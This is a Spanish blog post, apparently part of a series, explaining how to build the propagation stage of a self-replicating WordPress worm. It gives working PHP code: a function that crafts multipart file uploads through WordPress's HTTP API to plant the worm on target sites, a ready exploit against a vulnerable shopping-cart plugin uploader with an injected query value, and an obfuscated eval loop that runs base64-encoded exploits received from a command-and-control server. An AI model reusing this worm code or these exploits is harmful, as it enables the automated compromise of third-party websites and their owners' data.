viernes, 10 de octubre de 2014

The Walking WordPress [III]: creando y lanzando los exploits

¡Saludos!

      En el capítulo de hoy vamos a empezar a ver cómo el worm adquiere su capacidad de replicación, en concreto la capacidad pasiva (la propia botnet va recopilando URLs a las que intentar infectar). No voy a entrar en ello, pero nosotros también podemos suministrarle a la botnet un listado de URLs para ser atacadas (método activo).


      La entrada anterior finalizó cuando el malware se pone en contacto con el C&C, y éste le responde mostrando el código fuente de los exploits. La función add_all_exploits() se va a encarga símplemente de guardar ese contenido en el campo "wp_exploits" de la tabla wp_options:

function add_all_exploits($source) {
add_option("wp_exploits", $source);
}

     Ahora bien, ¿cómo son esos exploits? ¿cómo se realiza el proceso de ataque? ¿cómo localiza objetivos?


Construyendo los exploits y lanzándolos con wp_remote_post() 

     No podemos usar directamente los exploits que nosotros diseñaríamos de forma habitual, o los que otros investigadores cualquieran en los repositorios habituales (exploit-db, securityfocus, etc.), sino que deberemos de adaptarlos a para poder lanzarlos usando las funciones propias de la API de WordPress: wp_remote_get() y wp_remote_post().

     Como ya mencioné en entradas anteriores, no podemos basar nuestros exploits en el uso de cURL, sockets, o pecl_http, porque no sabemos si están instalados y/o habilitados en el servidor que acabamos de infectar, por lo que lo ideal es usar algo que sí vamos a tener: la API de WordPress. El problema radica es que nosotros siempre vamos a intentar explotar vulnerabilidades que conduzcan a la subida arbitraria de ficheros, pues esa es nuestra intención: subir el worm a un nuevo sitio.

    Por defecto wp_remote_post() no permite la subida de ficheros, por lo que nos encontramos de pleno con una restricción que tira por los suelos todo el plan. Sin embargo sí que podemos realizar workarounds basados en construir desde cero la petición HTTP y después pasarsela a la función para que la ejecute. En concreto podemos adaptar este código extraído de la lista de correo de Automattic.

   En mi caso lo que hice fue una adaptación que permitira tener juego suficiente para la explotación, debido a que quizás en algunas ocasiones la vulnerabilidad que explotamos es un bypass a un uploader, y necesitaríamos modificar los headers, por ejemplo. Así quedó -imagino que se verá mal por el formato del blog, pero copiadlo en un editor de texto e identadlo bien-:

function spread($url, $post_fields, $headers, $source, $boundary, $worm_name, $loc) { //Fields and headers are arrays (Esta adaptado de un correo de la lista de automattic) $payload = ''; // First, add the standard POST fields: foreach ( $post_fields as $name => $value ) {  $payload .= '--' . $boundary; $payload .= "\r\n"; $payload .= 'Content-Disposition: form-data; name="' . $name . '"' . "\r\n\r\n"; $payload .= $value; $payload .= "\r\n";  } // Upload the file if ( $worm_name ) { $payload .= '--' . $boundary; $payload .= "\r\n";  $payload .= 'Content-Disposition: form-data; name="Filedata"; filename="' . $worm_name . '"' . "\r\n"; //        $payload .= 'Content-Type: image/jpeg' . "\r\n"; $payload .= "\r\n";      $payload .= $source; $payload .= "\r\n"; } $payload .= '--' . $boundary . '--';  $response = wp_remote_post( $url, array(  'headers'    => $headers,  'body'       => $payload, ) ); $reponse = wp_remote_get($loc.$worm_name."?do=info");}


   Como parámetros le pasamos la URL objetivo, un array con los pares nombre-valor de las variables que enviaran por POST, otro array con cabeceras, el código fuente del worm, una cadena aleatoria alfanumérica, el nombre que queremos que tenga el archivo y la localización que tendrá una vez subido.


    Por lo tanto, los exploits que vayamos a generar símplemente deberan de encargarse de rellenar los parámetros necesarios, de tal forma que el grueso del source está implícito en el propio worm. Esto nos permite almacenar más cantidad de exploits en la base de datos. Por ejemplo, para explotar el plugin WordPress Shopping Cart (disponible en WordPressa Lab ), el exploit final sería el siguiente:


$a = array ( 'reqID' => "1'or 1='1",);$boundary = wp_generate_password( 24 );$b = array( 'content-type' => 'multipart/form-data; boundary=' . $boundary);
spread($target."/wp-content/plugins/levelfourstorefront/scripts/administration/dbuploaderscript.php", $a, $b, $worm_source, $boundary, "w0rm.php", $target."/wp-content/plugins/levelfourstorefront/w0rm.php");



    El exploit es almacenado en base64, y cada exploit está separado por una cadena de caracteres predefinida. Para ejecutar todos los exploits, símplemente deberemos extraer lo que tenemos almacenado en wp_exploits (dentro de wp_options), separar cada exploit usando como referencia la cadena de caracteres (por ejemplo "||||"), y aplicar un eval(base64_decode(...)) a cada exploit.

     function load_exploits() { $value = get_option("wp_exploits"); $list = explode("||||", $value); return $list;}
function apocalypse ($targets, $exploits) { foreach ($targets as $target) { foreach ($exploits as $exploit) { $base = "base"; $sese = 63 + 1; $deco = "_deco"; $de = "de"; $all = $base.$sese.$deco.$de; eval($all($exploit));  } }}
function start_apocalypse() { $targets = extract_targets(); $exploits = load_exploits(); if ($targets === FALSE) {  exit(); } else { apocalypse($targets, $exploits); }}


  La función extract_targets(), es la encargada de mirar en la base de datos los objetivos que vamos a atacar. Cómo localiza los objetivos es algo que veremos en el sigiuente capítulo.


Byt3z!
5 0verl0ad Labs: The Walking WordPress [III]: creando y lanzando los exploits ¡Saludos!       En el capítulo de hoy vamos a empezar a ver cómo el worm adquiere su capacidad de replicación, en concreto la capacidad pa...
< >